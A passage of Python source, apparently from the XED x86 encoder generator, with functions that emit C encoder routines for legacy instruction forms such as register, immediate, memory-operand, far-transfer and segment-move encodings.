add_enc_func(ii,fo) def create_legacy_one_x87_reg(env,ii): global enc_fn_prefix, arg_request, arg_reg0, var_reg0 opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_one_x87_reg") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0,'x87') emit_required_legacy_prefixes(ii,fo) if ii.mod_required == 3: fo.add_code_eol('set_mod(r,3)') else: die("FUNKY MOD on x87 op: {}".format(ii.mod_required)) if ii.reg_required == 'unspecified': die("Need a value for MODRM.REG in x87 encoding") fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) fo.add_code_eol('enc_modrm_rm_x87(r,{})'.format(var_reg0)) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def gpr8_imm8(ii): reg,imm=0,0 for i,op in enumerate(_gen_opnds(ii)): if i == 0: if op.name == 'REG0' and op_luf_start(op,'GPR8'): reg = reg + 1 else: return False elif i == 1: if op.name == 'IMM0' and op.oc2 == 'b': if op_implicit_or_suppressed(op): return False imm = imm + 1 else: return False else: return False return reg == 1 and imm == 1 def gprv_imm8(ii): reg,imm=0,0 for i,op in enumerate(_gen_opnds(ii)): if i == 0: if op.name == 'REG0' and op_luf_start(op,'GPRv'): reg = reg + 1 else: return False elif i == 1: if op.name == 'IMM0' and op.oc2 == 'b': if op_implicit_or_suppressed(op): return False imm = imm + 1 else: return False else: return False return reg == 1 and imm == 1 def gprv_immz(ii): for i,op in enumerate(_gen_opnds(ii)): if i == 0: if op.name == 'REG0' and op_luf_start(op,'GPRv'): continue else: return False elif i == 1: if op_immz(op): continue else: return False else: return False return True def gprv_immv(ii): for i,op in enumerate(_gen_opnds(ii)): if i == 0: if op.name == 'REG0' and op_luf_start(op,'GPRv'): continue else: return False elif i == 1: if op_immv(op): continue else: return False else: return False return True def orax_immz(ii): for i,op in enumerate(_gen_opnds(ii)): if i == 0: if op.name == 'REG0' and op_luf(op,'OrAX'): continue else: return False elif i == 1: if op_immz(op): continue else: return False else: return False return True def op_luf(op,s): if op.lookupfn_name: if op.lookupfn_name == s: return True return False def op_luf_start(op,s): if op.lookupfn_name: if op.lookupfn_name.startswith(s): return True return False def gprv_implicit_orax(ii): for i,op in enumerate(_gen_opnds(ii)): if i == 0: if op.name == 'REG0' and op_luf(op,'GPRv_SB'): continue else: return False elif i == 1: if op.name == 'REG1' and op_luf(op,'OrAX'): continue else: return False else: return False return True def create_legacy_gpr_imm8(env,ii,width_list): '''gpr8 or gprv with imm8. nothing fancy''' global enc_fn_prefix, arg_request, arg_reg0, var_reg0, arg_imm8, var_imm8, gprv_names for osz in gen_osz_list(env.mode,width_list): opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_gpr_imm8") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0, gprv_names[osz]) fo.add_arg(arg_imm8,'int8') emit_required_legacy_prefixes(ii,fo) if osz == 16 and env.mode != 16: # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') elif osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') elif ii.default_64b and osz == 32: # never happens continue rexw_forced = cond_emit_rexw(env,ii,fo,osz) if ii.partial_opcode: fo.add_code_eol('enc_srm_gpr{}(r,{})'.format(osz, var_reg0)) else: if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(f1,osz,var_reg0)) if f2 == 'reg': if ii.reg_required != 'unspecified': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) if ii.partial_opcode: emit_partial_opcode_variable_srm(ii,fo) else: emit_opcode(ii,fo) emit_modrm(fo) fo.add_code_eol('emit(r,{})'.format(var_imm8)) add_enc_func(ii,fo) def create_legacy_gprv_immz(env,ii): global enc_fn_prefix, arg_request, gprv_names, arg_reg0, var_reg0 width_list = get_osz_list(env) for osz in width_list: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_gprv_immz") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0, gprv_names[osz]) add_arg_immz(fo,osz) emit_required_legacy_prefixes(ii,fo) if osz == 16 and env.mode != 16: # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') if osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') elif ii.default_64b and osz == 32: # never happens continue rexw_forced = cond_emit_rexw(env,ii,fo,osz) if modrm_reg_first_operand(ii): f1, f2 = 'reg','rm' else: f1, f2 = 'rm','reg' fo.add_code_eol('enc_modrm_{}_gpr{}(r,{})'.format(f1,osz,var_reg0)) if f2 == 'reg': if ii.reg_required != 'unspecified': fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) else: if ii.rm_required != 'unspecified': fo.add_code_eol('set_rm(r,{})'.format(ii.rm_required)) emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) emit_immz(fo,osz) add_enc_func(ii,fo) def create_legacy_orax_immz(env,ii): """Handles OrAX+IMMz. No MODRM byte""" global enc_fn_prefix, arg_request global arg_imm16 global arg_imm32 width_list = get_osz_list(env) for osz in width_list: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_orax_immz") fo.add_arg(arg_request,'req') opnd_types = get_opnd_types(env,ii,osz) # no need to mention the implicit OrAX arg... we don't use it for anything #fo.add_arg(arg_reg0,opnd_types[0]) add_arg_immz(fo,osz) emit_required_legacy_prefixes(ii,fo) if osz == 16 and env.mode != 16: # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') elif osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') elif ii.default_64b and osz == 32: # never happens continue rexw_forced = cond_emit_rexw(env,ii,fo,osz) emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_immz(fo,osz) add_enc_func(ii,fo) def create_legacy_gprv_immv(env,ii,imm=False): """Handles GPRv_SB-IMMv partial reg opcodes and GPRv_SB+OrAX implicit""" global enc_fn_prefix, arg_request, gprv_names global arg_reg0, var_reg0 global arg_imm16, var_imm16 global arg_imm32, var_imm32 global arg_imm64, var_imm64 width_list = get_osz_list(env) for osz in width_list: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_gprv_immv") fo.add_arg(arg_request,'req') fo.add_arg(arg_reg0, gprv_names[osz]) if imm: add_arg_immv(fo,osz) emit_required_legacy_prefixes(ii,fo) if osz == 16 and env.mode != 16: # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') elif osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') elif ii.default_64b and osz == 32: # never happens continue rexw_forced = cond_emit_rexw(env,ii,fo,osz) # WE know this is a SRM partial opcode instr if not ii.partial_opcode: die("Expecting partial opcode instruction in create_legacy_gprv_immv") op = first_opnd(ii) if op_luf(op,'GPRv_SB'): fo.add_code_eol('enc_srm_gpr{}(r,{})'.format(osz, var_reg0)) else: die("NOT REACHED") emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) emit_partial_opcode_variable_srm(ii,fo) if imm: emit_immv(fo,osz) add_enc_func(ii,fo) def emit_partial_opcode_variable_srm(ii,fo): opcode = "0x{:02X}".format(ii.opcode_base10) fo.add_code_eol('emit(r,{} | get_srm(r))'.format(opcode), 'partial opcode, variable srm') def emit_partial_opcode_fixed_srm(ii,fo): fixed_opcode_srm = ii.rm_required opcode = "0x{:02X}".format(ii.opcode_base10) fo.add_code_eol('emit(r,{} | {})'.format(opcode,fixed_opcode_srm), 'partial opcode, fixed srm') memsig_idx_16 = { 0: 'bi', 8: 'bid8', 16: 'bid16' } memsig_idx_32or64 = { 0: 'bis', 8: 'bisd8', 32: 'bisd32' } memsig_noidx_16 = { 0: 'b', 8: 'bd8', 16: 'bd16' } memsig_noidx_32or64 = { 0: 'b', 8: 'bd8', 32: 'bd32' } memsig_str_16 = { True : memsig_idx_16, # indexed by use_index False: memsig_noidx_16 } memsig_str_32or64 = { True : memsig_idx_32or64, # indexed by use_index False: memsig_noidx_32or64 } def get_memsig(asz, using_indx, dispz): global memsig_str_16 global memsig_str_32or64 if asz == 16: return memsig_str_16[using_indx][dispz] return memsig_str_32or64[using_indx][dispz] def add_memop_args(env, ii, fo, use_index, dispsz, immw=0, reg=-1, osz=0): """reg=-1 -> no reg opnds, reg=0 -> first opnd is reg, reg=1 -> 2nd opnd is reg. AVX or AVX512 vsib moots the use_index value""" global arg_reg0, arg_imm_dct global arg_base, arg_index, arg_scale global arg_disp8, arg_disp16, arg_disp32 opnd_types = get_opnd_types(env,ii,osz) if reg == 0: fo.add_arg(arg_reg0,opnd_types[0]) fo.add_arg(arg_base, gprv_names[env.asz]) if ii.avx_vsib: fo.add_arg("{} {}".format(arg_reg_type, var_vsib_index_dct[ii.avx_vsib]), ii.avx_vsib) elif ii.avx512_vsib: fo.add_arg("{} {}".format(arg_reg_type, var_vsib_index_dct[ii.avx512_vsib]), ii.avx512_vsib) elif use_index: fo.add_arg(arg_index, gprv_index_names[env.asz]) if use_index or special_index_cases(ii): if env.asz in [32,64]: fo.add_arg(arg_scale, 'scale') # a32, a64 if dispsz != 0: add_arg_disp(fo,dispsz) if reg == 1: fo.add_arg(arg_reg0, opnd_types[1]) if immw: add_arg_immv(fo,immw) def create_legacy_one_xmm_reg_one_mem_fixed(env,ii): '''allows xmm, mmx, gpr32, gpr64 regs optional imm8''' global var_reg0 op = first_opnd(ii) width = op.oc2 immw = 8 if ii.has_imm8 else 0 regpos = 0 if modrm_reg_first_operand(ii) else 1 # i determines argument order #opsig = 'rm' if regpos==0 else 'mr' #if ii.has_imm8: # opsig = opsig + 'i' opsig = make_opnd_signature(env,ii) gpr32,gpr64,xmm,mmx = False,False,False,False for op in _gen_opnds(ii): if op_mmx(op): mmx=True break if op_xmm(op): xmm=True break if op_gpr32(op): gpr32=True break if op_gpr64(op): gpr64=True break dispsz_list = get_dispsz_list(env) ispace = itertools.product(get_index_vals(ii), dispsz_list) for use_index, dispsz in ispace: memaddrsig = get_memsig(env.asz, use_index, dispsz) fname = "{}_{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig, #width, # FIXME:osz, funky memaddrsig) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment("created by create_legacy_one_xmm_reg_one_mem_fixed") fo.add_arg(arg_request,'req') add_memop_args(env, ii, fo, use_index, dispsz, immw, reg=regpos) rexw_forced = False if ii.eosz == 'o16' and env.mode in [32,64]: fo.add_code_eol('emit(r,0x66)', 'xx: fixed width with 16b osz') elif ii.eosz == 'o32' and env.mode == 16: fo.add_code_eol('emit(r,0x66)') elif (ii.eosz == 'o64' and env.mode == 64 and ii.default_64b == False) or ii.rexw_prefix == '1': rexw_forced = True fo.add_code_eol('set_rexw(r)', 'forced rexw on memop') emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) # the sole reg is reg0 whether it is first or 2nd operand... if xmm: fo.add_code_eol('enc_modrm_reg_xmm(r,{})'.format(var_reg0)) elif mmx: fo.add_code_eol('enc_modrm_reg_mmx(r,{})'.format(var_reg0)) elif gpr32: fo.add_code_eol('enc_modrm_reg_gpr32(r,{})'.format(var_reg0)) elif gpr64: fo.add_code_eol('enc_modrm_reg_gpr64(r,{})'.format(var_reg0)) else: die("NOT REACHED") encode_mem_operand(env, ii, fo, use_index, dispsz) finish_memop(env, ii, fo, dispsz, immw, rexw_forced, space='legacy') add_enc_func(ii,fo) def get_reg_width(op): if op_gpr8(op): return 'b' elif op_gpr16(op): return 'w' elif op_gpr32(op): return 'd' elif op_gpr64(op): return 'q' die("NOT REACHED") def create_legacy_one_gpr_reg_one_mem_fixed(env,ii): """REGb-GPRb or GPRb-REGb also GPR32-MEMd, GPR64-MEMq or MEMdq and MEMw+GPR16""" global var_reg0, widths_to_bits dispsz_list = get_dispsz_list(env) width = None for i,op in enumerate(_gen_opnds(ii)): if op_reg(op): regn = i width = get_reg_width(op) break if width == None: dump_fields(ii) die("Bad search for width") widths = [width] opsig = make_opnd_signature(env,ii) ispace = itertools.product(widths, get_index_vals(ii), dispsz_list) for width, use_index, dispsz in ispace: memaddrsig = get_memsig(env.asz, use_index, dispsz) fname = "{}_{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig, memaddrsig) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment("created by create_legacy_one_gpr_reg_one_mem_fixed") fo.add_arg(arg_request,'req') add_memop_args(env, ii, fo, use_index, dispsz, immw=0, reg=regn) emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) # the sole reg is reg0 whether it is first or 2nd operand... fo.add_code_eol('enc_modrm_reg_gpr{}(r,{})'.format(widths_to_bits[width], var_reg0)) encode_mem_operand(env, ii, fo, use_index, dispsz) osz=64 if width=='q' else 0 rexw_forced = cond_emit_rexw(env, ii, fo, osz) immw=False finish_memop(env, ii, fo, dispsz, immw, rexw_forced, space='legacy') add_enc_func(ii,fo) def create_legacy_one_gpr_reg_one_mem_scalable(env,ii): """GPRv-MEMv, MEMv-GPRv, GPRy-MEMv, MEMv-GPRy w/optional imm8 or immz. This will work with anything that has one scalable register operand and another fixed or scalable memory operand. """ # The GPRy stuff is not working yet global arg_reg0, var_reg0, widths_to_bits, widths_to_bits_y dispsz_list = get_dispsz_list(env) op = first_opnd(ii) widths = ['w','d'] if env.mode == 64: widths.append('q') gpry=False for op in _gen_opnds(ii): if op_gpry(op): gpry=True fixed_reg = False if ii.iclass == 'NOP' and ii.iform.startswith('NOP_MEMv_GPRv_0F1C'): if ii.reg_required != 'unspecified': fixed_reg = True immw = 8 if ii.has_imm8 else 0 ispace = itertools.product(widths, get_index_vals(ii), dispsz_list) for width, use_index, dispsz in ispace: opsig = make_opnd_signature(env,ii, width) opnd_types_org = get_opnd_types(env,ii, osz_translate(width)) opnd_types = copy.copy(opnd_types_org) if ii.has_immz: immw = 16 if (width == 16 or width == 'w') else 32 memaddrsig = get_memsig(env.asz, use_index, dispsz) fname = "{}_{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig, memaddrsig) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment("created by create_legacy_one_gpr_reg_one_mem_scalable") fo.add_arg(arg_request,'req') for i,optype in enumerate(opnd_types_org): if optype.startswith('gpr'): if not fixed_reg: fo.add_arg(arg_reg0, opnd_types.pop(0)) elif optype in ['mem', 'agen']: add_memop_args(env, ii, fo, use_index, dispsz, immw=0, osz=osz_translate(width)) opnd_types.pop(0) elif optype.startswith('int') or optype.startswith('imm'): add_arg_immv(fo,immw) opnd_types.pop(0) # imm8 is last so we technically can skip this pop else: die("UNHANDLED ARG {} in {}".format(optype, ii.iclass)) rexw_forced = False if width == 'w' and env.mode != 16: fo.add_code_eol('emit(r,0x66)') elif width == 'd' and env.mode == 16: fo.add_code_eol('emit(r,0x66)') elif width == 'q' and ii.default_64b == False: rexw_forced = True fo.add_code_eol('set_rexw(r)', 'forced rexw on memop') emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) if ii.reg_required != 'unspecified': if ii.reg_required: # ZERO INIT OPTIMIZATION fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required), 'reg opcode extension') else: d=widths_to_bits_y if gpry else widths_to_bits fo.add_code_eol('enc_modrm_reg_gpr{}(r,{})'.format(d[width], var_reg0)) encode_mem_operand(env, ii, fo, use_index, dispsz) finish_memop(env, ii, fo, dispsz, immw, rexw_forced=rexw_forced, space='legacy') add_enc_func(ii,fo) def create_legacy_far_xfer_nonmem(env,ii): # WRK '''call far and jmp far via ptr+imm. BRDISPz + IMMw''' global var_immz_dct, argv_immz_dct,arg_immz_meta, var_imm16_2, arg_imm16_2 for osz in [16,32]: fname = '{}_{}_o{}'.format(enc_fn_prefix, ii.iclass.lower(), osz) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment('created by create_legacy_far_xfer_nonmem') fo.add_arg(arg_request,'req') fo.add_arg(arg_immz_dct[osz],arg_immz_meta[osz]) fo.add_arg(arg_imm16_2,'int16') if osz == 16 and env.mode != 16: fo.add_code_eol('emit(r,0x66)') elif osz == 32 and env.mode == 16: fo.add_code_eol('emit(r,0x66)') emit_required_legacy_prefixes(ii,fo) emit_opcode(ii,fo) emit_immz(fo,osz) fo.add_code_eol('emit_i16(r,{})'.format(var_imm16_2)) add_enc_func(ii,fo) def create_legacy_far_xfer_mem(env,ii): '''call far and jmp far via memop. p has widths 4/6/6 bytes. p2 has 4/6/10 widths''' p_widths = {16:4, 32:6, 64:6} p2_widths = {16:4, 32:6, 64:10} op = first_opnd(ii) if op.oc2 == 'p2': widths = p2_widths elif op.oc2 == 'p': widths = p_widths else: die("NOT REACHED") osz_list = get_osz_list(env) dispsz_list = get_dispsz_list(env) ispace = itertools.product(osz_list, get_index_vals(ii), dispsz_list) for osz, use_index, dispsz in ispace: membytes = widths[osz] memaddrsig = get_memsig(env.asz, use_index, dispsz) fname = '{}_{}_m{}_{}'.format(enc_fn_prefix, ii.iclass.lower(), membytes*8, memaddrsig) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment('created by create_legacy_far_xfer_mem') fo.add_arg(arg_request,'req') add_memop_args(env, ii, fo, use_index, dispsz) rexw_forced = False if osz == 16 and env.mode != 16: fo.add_code_eol('emit(r,0x66)') elif osz == 32 and env.mode == 16: fo.add_code_eol('emit(r,0x66)') elif osz == 64 and ii.default_64b == False: rexw_forced = True fo.add_code_eol('set_rexw(r)', 'forced rexw on memop') emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) if ii.reg_required != 'unspecified': if ii.reg_required != 0: # ZERO INIT OPTIMIZATION fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) encode_mem_operand(env, ii, fo, use_index, dispsz) finish_memop(env, ii, fo, dispsz, immw=0, rexw_forced=rexw_forced, space='legacy') add_enc_func(ii,fo) def osz_translate(width): if width in ['w',16]: return 16 elif width in ['d',32]: return 32 elif width in ['q', 64]: return 64 return 0 def create_legacy_one_mem_common(env,ii,imm=0): """Handles one memop, fixed or scalable.""" dispsz_list = get_dispsz_list(env) op = first_opnd(ii) if op.oc2 == 'v': widths = [16,32] if env.mode == 64: widths.append(64) elif op.oc2 == 'y': widths = [32] if env.mode == 64: widths.append(64) elif op.oc2 == 's': widths = [16,32] else: widths = ['nominal'] # just something to get the loop going immz_dict = { 16:16, 32:32, 64:32 } for width in widths: immw = 0 if imm == '8': immw = 8 elif imm == 'z': immw = immz_dict[width] #fwidth = "_{}".format(width) if width not in ['b','w','d','q'] else '' ispace = itertools.product(get_index_vals(ii), dispsz_list) for use_index, dispsz in ispace: memaddrsig = get_memsig(env.asz, use_index, dispsz) if width != 'nominal': opsig = make_opnd_signature(env, ii, width) else: opsig = make_opnd_signature(env, ii) fname = '{}_{}_{}_{}'.format(enc_fn_prefix, ii.iclass.lower(), opsig, memaddrsig) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment('created by create_legacy_one_mem_common') fo.add_arg(arg_request,'req') add_memop_args(env, ii, fo, use_index, dispsz, immw, osz=osz_translate(width)) rexw_forced = False if op.oc2 in [ 'y','v', 's']: # handle scalable ops if width == 16 and env.mode != 16: fo.add_code_eol('emit(r,0x66)') elif width == 32 and env.mode == 16: fo.add_code_eol('emit(r,0x66)') elif width == 64 and ii.default_64b == False: rexw_forced = True fo.add_code_eol('set_rexw(r)', 'forced rexw on memop') else: # fixed width ops if ii.eosz == 'o16' and env.mode in [32,64]: fo.add_code_eol('emit(r,0x66)', 'xx: fixed width with 16b osz') elif ii.eosz == 'o32' and env.mode == 16: fo.add_code_eol('emit(r,0x66)') elif (ii.eosz == 'o64' and env.mode == 64 and ii.default_64b == False) or ii.rexw_prefix == '1': rexw_forced = True fo.add_code_eol('set_rexw(r)', 'forced rexw on memop') emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) if ii.reg_required != 'unspecified': if ii.reg_required != 0: # ZERO INIT OPTIMIZATION fo.add_code_eol('set_reg(r,{})'.format(ii.reg_required)) encode_mem_operand(env, ii, fo, use_index, dispsz) finish_memop(env, ii, fo, dispsz, immw, rexw_forced, space='legacy') add_enc_func(ii,fo) def encode_mem_operand(env, ii, fo, use_index, dispsz): global var_base, var_index, var_scale, memsig_idx_32or64, var_vsib_index_dct # this may overwrite modrm.mod memaddrsig = get_memsig(env.asz, use_index, dispsz) if ii.avx_vsib: memsig = memsig_idx_32or64[dispsz] fo.add_code_eol('enc_avx_modrm_vsib_{}_{}_a{}(r,{},{},{})'.format( ii.avx_vsib, memaddrsig, env.asz, var_base, var_vsib_index_dct[ii.avx_vsib], var_scale)) elif ii.avx512_vsib: memsig = memsig_idx_32or64[dispsz] fo.add_code_eol('enc_avx512_modrm_vsib_{}_{}_a{}(r,{},{},{})'.format( ii.avx512_vsib, memaddrsig, env.asz, var_base, var_vsib_index_dct[ii.avx512_vsib], var_scale)) elif use_index: if env.asz == 16: # no scale fo.add_code_eol('enc_modrm_rm_mem_{}_a{}(r,{},{})'.format( memaddrsig, env.asz, var_base, var_index)) else: fo.add_code_eol('enc_modrm_rm_mem_{}_a{}(r,{},{},{})'.format( memaddrsig, env.asz, var_base, var_index, var_scale)) else: # no index,scale fo.add_code_eol('enc_modrm_rm_mem_{}_a{}(r,{})'.format( memaddrsig, env.asz, var_base)) def finish_memop(env, ii, fo, dispsz, immw, rexw_forced=False, space='legacy'): global var_disp8, var_disp16, var_disp32 if space == 'legacy': emit_rex(env,fo,rexw_forced) emit_required_legacy_map_escapes(ii,fo) elif space =='evex': fo.add_code_eol('emit_evex(r)') emit_opcode(ii,fo) emit_modrm(fo) if special_index_cases(ii): fo.add_code_eol('emit_sib(r)', 'for vsib/sibmem') else: fo.add_code('if (get_has_sib(r))') fo.add_code_eol(' emit_sib(r)') if space == 'evex': if dispsz == 0: # if form has no displacment, then we sometimes have to # add a zero displacement to create an allowed modrm/sib # encoding. emit_synthetic_disp(fo) elif dispsz == 8: fo.add_code_eol('emit_i8(r,{})'.format(var_disp8)) else: emit_evex_disp(env,fo) else: if dispsz == 8: fo.add_code_eol('emit_i8(r,{})'.format(var_disp8)) elif dispsz == 16: fo.add_code_eol('emit_i16(r,{})'.format(var_disp16)) elif dispsz == 32: fo.add_code_eol('emit_i32(r,{})'.format(var_disp32)) elif dispsz == 0 and env.asz != 16: # if form has no displacment, then we sometimes have to # add a zero displacement to create an allowed modrm/sib # encoding. emit_synthetic_disp(fo) if immw: emit_immv(fo,immw) def emit_modrm(fo): fo.add_code_eol('emit_modrm(r)') def emit_sib(fo): fo.add_code('if (get_has_sib(r))') fo.add_code_eol(' emit_sib(r)') def emit_synthetic_disp(fo): fo.add_code('if (get_has_disp8(r))') fo.add_code_eol(' emit_i8(r,0)') fo.add_code('else if (get_has_disp32(r))') fo.add_code_eol(' emit_i32(r,0)') def add_evex_displacement_var(fo): fo.add_code_eol('xed_int32_t use_displacement') def chose_evex_scaled_disp(fo, ii, dispsz, broadcasting=False): # WIP disp_fix = '16' if dispsz == 16 else '' if ii.avx512_tuple == 'NO_SCALE': memop_width_bytes = 1 elif broadcasting: memop_width_bytes = ii.element_size // 8 else: memop_width_bytes = ii.memop_width // 8 fo.add_code_eol('use_displacement = xed_chose_evex_scaled_disp{}(r, disp{}, {})'.format( disp_fix, dispsz, memop_width_bytes)) def emit_evex_disp(env,fo): fo.add_code('if (get_has_disp8(r))') fo.add_code_eol(' emit_i8(r,use_displacement)') if env.asz == 16: fo.add_code('else if (get_has_disp16(r))') fo.add_code_eol(' emit_i16(r,use_displacement)') else: fo.add_code('else if (get_has_disp32(r))') fo.add_code_eol(' emit_i32(r,use_displacement)') def mov_without_modrm(ii): if ii.iclass == 'MOV' and not ii.has_modrm: if 'UIMM' in ii.pattern: # avoid 0xB0/0xB8 related mov's return False return True return False def create_legacy_mov_without_modrm(env,ii): '''This if for 0xA0...0xA3 MOVs without MODRM''' global enc_fn_prefix, arg_request, arg_reg0, bits_to_widths # in XED, MEMDISPv is a misnomer - the displacement size is # modulated by the EASZ! The actual width of the memory reference # is OSZ modulated (66, rex.w) normally. byte_width = False for op in _gen_opnds(ii): if op.oc2 and op.oc2 == 'b': byte_width = True break if byte_width: osz_list = [8] else: osz_list = get_osz_list(env) disp_width = env.asz for osz in osz_list: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}_d{}".format(enc_fn_prefix, ii.iclass.lower(), opsig, env.asz) # FIXME redundant with asz fo = make_function_object(env,ii,fname,asz=env.asz) fo.add_comment("created by create_legacy_mov_without_modrm") fo.add_arg(arg_request,'req') add_arg_disp(fo,disp_width) # MEMDISPv is EASZ-modulated. if disp_width == 16 and env.asz != 16: emit_67_prefix(fo) elif disp_width == 32 and env.asz != 32: emit_67_prefix(fo) rexw_forced = emit_legacy_osz(env,ii,fo,osz) emit_rex(env, fo, rexw_forced) emit_opcode(ii,fo) emit_disp(fo,disp_width) add_enc_func(ii,fo) def is_enter_instr(ii): return ii.iclass == 'ENTER' # imm0-w, imm1-b def is_mov_seg(ii): if ii.iclass in ['MOV']: for op in _gen_opnds(ii): if op_seg(op): return True return False def is_mov_cr_dr(ii): return ii.iclass in ['MOV_CR','MOV_DR'] def create_legacy_gprv_seg(env,ii,op_info): global arg_reg_type, gprv_names reg1 = 'seg' osz_list = get_osz_list(env) for osz in osz_list: opsig = make_opnd_signature(env,ii,osz) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(), opsig) fo = make_function_object(env,ii,fname) fo.add_comment('created by create_legacy_gprv_seg') fo.add_arg(arg_request,'req') reg0 = gprv_names[osz] fo.add_arg(arg_reg_type + reg0,'gpr{}'.format(osz)) fo.add_arg(arg_reg_type + reg1,'seg') emit_required_legacy_prefixes(ii,fo) if not ii.osz_required: if osz == 16 and env.mode != 16: # add a 66 prefix outside of 16b mode, to create 16b osz fo.add_code_eol('emit(r,0x66)') if osz == 32 and env.mode == 16: # add a 66 prefix outside inside 16b mode to create 32b osz fo.add_code_eol('emit(r,0x66)') if osz == 64: fo.add_code_eol('set_rexw(r)') fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format('rm',reg0,reg0)) fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format('reg',op_info[1],reg1)) if osz == 64: fo.add_code_eol('emit_rex(r)') elif env.mode == 64: fo.add_code_eol('emit_rex_if_needed(r)') emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def create_legacy_mem_seg(env,ii,op_info): '''order varies: MEM-SEG or SEG-MEM''' global arg_reg_type dispsz_list = get_dispsz_list(env) opnd_sig = make_opnd_signature(env,ii) ispace = itertools.product(get_index_vals(ii), dispsz_list) for use_index, dispsz in ispace: memaddrsig = get_memsig(env.asz, use_index, dispsz) fname = '{}_{}_{}_{}'.format(enc_fn_prefix, ii.iclass.lower(), opnd_sig, memaddrsig) fo = make_function_object(env,ii,fname, asz=env.asz) fo.add_comment('created by create_legacy_mem_seg') fo.add_arg(arg_request,'req') for opi in op_info: if opi == 'mem': add_memop_args(env, ii, fo, use_index, dispsz) elif opi == 'seg': reg0 = 'seg' fo.add_arg(arg_reg_type + reg0, 'seg') else: die("NOT REACHED") emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) fo.add_code_eol('enc_modrm_reg_seg(r,{})'.format(reg0)) encode_mem_operand(env, ii, fo, use_index, dispsz) finish_memop(env, ii, fo, dispsz, immw=0, rexw_forced=False, space='legacy') add_enc_func(ii,fo) def create_mov_seg(env,ii): '''mov-seg. operand order varies''' op_info=[] # for encoding the modrm fields mem = False scalable=False for i,op in enumerate(_gen_opnds(ii)): if op_gprv(op): op_info.append('gprv') scalable=True elif op_gpr16(op): op_info.append('gpr16') elif op_seg(op): op_info.append('seg') elif op_mem(op): mem=True op_info.append('mem') if op_info == ['gprv','seg']: # gprv, seg -- scalable, special handling create_legacy_gprv_seg(env,ii,op_info) return elif op_info == ['mem','seg']: # mem,seg create_legacy_mem_seg(env,ii,op_info) return elif op_info == ['seg','mem']: # seg,mem 